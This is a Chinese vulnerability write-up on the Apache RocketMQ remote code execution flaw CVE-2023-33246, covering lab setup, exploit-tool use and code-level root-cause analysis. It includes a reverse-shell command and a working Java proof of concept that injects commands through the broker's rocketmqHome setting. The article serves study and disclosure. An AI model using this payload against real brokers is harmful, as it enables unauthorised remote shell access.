本文首发于FreeBuf https://www.freebuf.com/articles/web/367614.html

1.了解RocketMQ

RocketMQ是一款低延迟、高并发、高可用、高可靠的分布式消息中间件

下面画个图简单理解一下RocketMQ的消息收发模型
image-20230620214924751.png
与漏洞相关的点:参考

  • Broker节点启动后会在NameServer节点进行注册。
  • DefaultMQAdminExt类可以通过与 NameServer 交互来获取和修改相关配置信息。
  • FilterServerManager类用于管理过滤服务器(Filter Server)的类。过滤服务器负责处理消息过滤规则的注册、更新和删除,以及消息过滤的评估和匹配。(产生漏洞的类)

2.环境搭建

参考RocketMQ 最新漏洞手把手复现 CVE-2023-33246

  • docker 拉取镜像
1
2
docker pull apache/rocketmq:4.9.1
docker pull apacherocketmq/rocketmq-console:2.0.0
  • 启动NameServer
1
docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.1 sh mqnamesrv
  • 创建一个broker配置文件 D:\Temp\conf\broker.conf
1
2
3
4
5
6
7
8
9
10
brokerClusterName = DefaultCluster 
brokerName = broker-a
brokerId = 0
deleteWhen = 04
fileReservedTime = 48
brokerRole = ASYNC_MASTER
flushDiskType = SYNC_FLUSH


brokerIP1 = 127.0.0.1
  • 启动 Broker
1
docker run -d -p 10911:10911 -p 10909:10909 -v D:/Temp/conf/broker.conf:/opt/rocketmq/conf/broker.conf --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -e "MAX_POSSIBLE_HEAP=200000000" apache/rocketmq:4.9.1 sh mqbroker -c /opt/rocketmq/conf/broker.conf
  • 启动console
1
docker run -dit --name mqconsole -p 8080:8080 -e "JAVA_OPTS=-Drocketmq.config.namesrvAddr=mqsrv:9876 -Drocketmq.config.isVIPChannel=false" apacherocketmq/rocketmq-console:2.0.0

访问http://127.0.0.1:8080/
image-20230613102306055.png
使用CVE-2023-33246漏洞利用工具攻击一下试试

1
java -jar CVE-2023-33246.jar -ip "127.0.0.1" -cmd "bash -i >& /dev/tcp/host.docker.internal/9999  0>&1"

image-20230613153820281.png
收到反弹的shell
image-20230613153852956.png

3.漏洞分析

参考:https://mp.weixin.qq.com/s/1GIATpldq29cVTR6Rw\_DTw

参考:https://xz.aliyun.com/t/12589

我们通过查看漏洞的补丁,发现FilterServerManagerFilterServerUtil整个文件都被删除了
image-20230620221836214.png
image-20230620221014974.png
下载其上一个版本的代码,来分析一下漏洞产生的原因

首先查看被删除的两个文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class FilterServerUtil {
public static void callShell(final String shellString, final InternalLogger log) {
Process process = null;
try {
String[] cmdArray = splitShellString(shellString);
process = Runtime.getRuntime().exec(cmdArray);
......
} ......
}

private static String[] splitShellString(final String shellString) {
return shellString.split(" ");
}
}

FilterServerUtil类callShell方法中使用了Runtime.getRuntime().exec(cmdArray)执行系统命令,并且执行的命令来自该函数的形参shellString

这样的话,如果找到一条调用链可以调用到callShell方法,并且参数可控,就可以造成RCE
image-20230623211016862.png
在FilterServerManager的createFilterServer()中调用了callShell方法

1
2
3
4
5
6
7
8
public void createFilterServer() {
int more =
this.brokerController.getBrokerConfig().getFilterServerNums() - this.filterServerTable.size();
String cmd = this.buildStartCommand();
for (int i = 0; i < more; i++) {
FilterServerUtil.callShell(cmd, log);
}
}

createFilterServer方法调用了callShell方法执行命令

createFilterServer方法做了三件事:

  • 获取配置计算了一个int型变量more
  • 调用buildStartCommand()构造一个需要执行的命令的字符串
  • more大于0时,调用了callShell方法执行命令
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
private String buildStartCommand() {
String config = "";
if (BrokerStartup.configFile != null) {
config = String.format("-c %s", BrokerStartup.configFile);
}

if (this.brokerController.getBrokerConfig().getNamesrvAddr() != null) {
config += String.format(" -n %s", this.brokerController.getBrokerConfig().getNamesrvAddr());
}

if (RemotingUtil.isWindowsPlatform()) {
return String.format("start /b %s\\bin\\mqfiltersrv.exe %s",
this.brokerController.getBrokerConfig().getRocketmqHome(),
config);
} else {
return String.format("sh %s/bin/startfsrv.sh %s",
this.brokerController.getBrokerConfig().getRocketmqHome(),
config);
}
}

在**buildStartCommand()**中有问题的是String.format("sh %s/bin/startfsrv.sh %s", this.brokerController.getBrokerConfig().getRocketmqHome(),config);这一部分

这句代码的作用是获取配置中的RocketmqHome,然后替换掉sh %s/bin/startfsrv.sh %s的第一个%s

如果我们能控制配置中的RocketmqHome,那么就可以拼接上前面的sh,执行任意命令

给出漏洞的调用链:FilterServerManager.start() --> FilterServerManager.createFilterServer() --> FilterServerUtil.callShell(cmd, log)

4.构造payload

分析完漏洞的原理后,我们来尝试构造payload,通过上面我们得知,

利用漏洞的重要条件是可以控制配置中的RocketmqHome

在第一小节我们了解到DefaultMQAdminExt类可以通过与 NameServer 交互来获取和修改相关配置信息。
image-20230624095106656.png
DefaultMQAdminExt类updateBrokerConfig方法可以更新Broker的配置,需要传一个Broker的地址和一个Properties类型的参数

那么,我们构造payload可以分三步

  • 创建 Properties 对象
    • 设置rocketmqHome配置,为我们拼接任意命令使用
    • 设置filterServerNums配置,要使得more=filterServerNums-filterServerTable.size大于0
  • 创建DefaultMQAdminExt 对象
  • 更新配置⽂件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public static void main(String[] args) throws Exception {
// 创建 Properties 对象
Properties props = new Properties();
String cmd = "bash -i >& /dev/tcp/host.docker.internal/9999 0>&1";
props.setProperty("rocketmqHome","-c $@|sh . echo " + cmd + ";");
props.setProperty("filterServerNums","1");
// 创建 DefaultMQAdminExt 对象并启动
DefaultMQAdminExt admin = new DefaultMQAdminExt();
admin.setNamesrvAddr("127.0.0.1:9876");
admin.start();
// 更新配置⽂件
admin.updateBrokerConfig("127.0.0.1:10911", props);

// 关闭 DefaultMQAdminExt 对象
admin.shutdown();

}

关于反弹shell的写法可以参照这位大佬